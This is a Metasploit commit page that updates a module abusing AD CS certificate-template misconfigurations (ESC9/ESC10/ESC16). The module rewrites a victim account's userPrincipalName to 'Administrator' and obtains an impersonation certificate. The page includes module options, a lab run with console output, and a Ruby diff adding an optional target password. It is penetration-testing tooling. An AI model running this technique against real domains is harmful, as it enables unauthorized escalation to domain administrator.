Skip to content

Commit 6e06963

Browse files
authored
Land #20566, adds support to esc_update_ldap module when shadow credentials are not required
Update esc_update_ldap module so shadow creds not required
2 parents 8112791 + 7b3c82f commit 6e06963

File tree

2 files changed

+93
-11
lines changed

2 files changed

+93
-11
lines changed

documentation/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.md

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,9 @@ The certificate template to issue, e.g., "User".
3636
### TARGET_USERNAME
3737
The username of the target account whose LDAP object will be updated and for whom the certificate will be requested.
3838

39+
### TARGET_PASSWORD
40+
The password of the target username. Not required. The module will use Shadow Credentials to authenticate as the target user if this is left blank.
41+
3942
### UPDATE_LDAP_OBJECT
4043
The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`.
4144

@@ -135,6 +138,72 @@ msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
135138
[*] Auxiliary module execution completed
136139
```
137140

141+
### ESC9 - Update userPrincipalName when you already have `TARGET_PASSWORD`. See shadow credentials don't get created / used
142+
```
143+
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > options
144+
145+
Module options (auxiliary/admin/dcerpc/esc_update_ldap_object):
146+
147+
Name Current Setting Required Description
148+
---- --------------- -------- -----------
149+
ADD_CERT_APP_POLICY no Add certificate application policy OIDs
150+
ALT_DNS no Alternative certificate DNS
151+
ALT_SID no Alternative object SID
152+
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
153+
CA kerberos-DC2-CA yes The target certificate authority
154+
CERT_TEMPLATE User yes The certificate template
155+
LDAPDomain kerberos.issue yes The domain to authenticate to
156+
LDAPPassword N0tpassword! yes The password to authenticate with
157+
LDAPUsername user1 yes The username to authenticate with, who must have permissions to update the TARGET_USERNAME
158+
SSL false no Enable SSL on the LDAP connection
159+
TARGET_PASSWORD N0tpassword! no The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticaet as the TARGET_USERNAME
160+
TARGET_USERNAME user2 yes The username of the target LDAP object (the victim account).
161+
UPDATE_LDAP_OBJECT userPrincipalName yes Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert. (Accepted: userPrincipalName, dNSHostName)
162+
UPDATE_LDAP_OBJECT_VALUE Administrator yes The account name you wish to impersonate
163+
164+
165+
Used when making a new connection via RHOSTS:
166+
167+
Name Current Setting Required Description
168+
---- --------------- -------- -----------
169+
RHOSTS 172.16.199.200 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
170+
RPORT 445 no The target port (TCP)
171+
172+
173+
Auxiliary action:
174+
175+
Name Description
176+
---- -----------
177+
REQUEST_CERT Request a certificate
178+
179+
180+
181+
View the full module info with the info, or info -d command.
182+
183+
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > run
184+
[*] Running module against 172.16.199.200
185+
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
186+
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
187+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
188+
[*] Current value of user2's userPrincipalName:
189+
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
190+
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
191+
[+] The operation completed successfully!
192+
[+] 172.16.199.200:445 - The requested certificate was issued.
193+
[*] 172.16.199.200:445 - Certificate Policies:
194+
[*] 172.16.199.200:445 - Certificate UPN: Administrator
195+
[*] 172.16.199.200:445 - Certificate stored at: /home/msfuser/.msf4/loot/20250923135918_default_172.16.199.200_windows.ad.cs_341723.pfx
196+
[*] 172.16.199.200:445 - Reverting ldap object
197+
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
198+
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
199+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
200+
[*] Attempting to delete attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue...
201+
[+] Successfully deleted attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue
202+
[+] The operation completed successfully!
203+
[*] Auxiliary module execution completed
204+
msf auxiliary(admin/dcerpc/esc_update_ldap_object) >
205+
```
206+
138207
### ESC9 - Update dnsHostName to `dc2.kerberos.issue`
139208
```
140209
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200

modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb

Lines changed: 24 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -22,9 +22,10 @@ def initialize(info = {})
2222
This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically
2323
ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.
2424
The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the
25-
admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the
26-
admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via
27-
MS-ICPR. The resulting certificate can be used for various operations, such as authentication.
25+
admin/ldap/shadow_credentials module to add shadow credentials for the target user if the target password is
26+
not provided. It then uses the admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user
27+
and requests a certificate via MS-ICPR. The resulting certificate can be used for various operations, such as
28+
authentication.
2829
2930
The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are
3031
reverted after execution to maintain system integrity.
@@ -64,7 +65,8 @@ def initialize(info = {})
6465
OptString.new('LDAPPassword', [true, 'The password to authenticate with']),
6566
OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]),
6667
OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']),
67-
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser'])
68+
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser']),
69+
OptString.new('TARGET_PASSWORD', [false, 'The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticate as the TARGET_USERNAME'], aliases: ['SMBPass'])
6870
])
6971

7072
register_advanced_options(
@@ -200,18 +202,29 @@ def action_request_cert
200202
@original_value = call_ldap_object_module('UPDATE', new_value)
201203
fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
202204

203-
# Call the shadow credentials module to add the device and get the cert path
204-
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
205-
@device_id, cert_path = call_shadow_credentials_module('add')
206-
hash = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
205+
smbpass = ''
206+
207+
if datastore['TARGET_PASSWORD'].present?
208+
smbpass = datastore['TARGET_PASSWORD']
209+
elsif datastore['LDAPUsername'] == datastore['TARGET_USERNAME']
210+
smbpass = datastore['LDAPPassword']
211+
else
212+
# Call the shadow credentials module to add the device and get the cert path
213+
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
214+
@device_id, cert_path = call_shadow_credentials_module('add')
215+
smbpass = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
216+
end
217+
207218
with_ipc_tree do |opts|
208219
datastore['SMBUser'] = datastore['TARGET_USERNAME']
209-
datastore['SMBPass'] = hash
220+
datastore['SMBPass'] = smbpass
210221
request_certificate(opts)
211222
end
212223
ensure
213-
print_status('Removing shadow credential')
214-
call_shadow_credentials_module('remove', device_id: @device_id)
224+
unless @device_id.nil?
225+
print_status('Removing shadow credential')
226+
call_shadow_credentials_module('remove', device_id: @device_id)
227+
end
215228
print_status('Reverting ldap object')
216229
revert_ldap_object
217230
end

0 commit comments

Comments
 (0)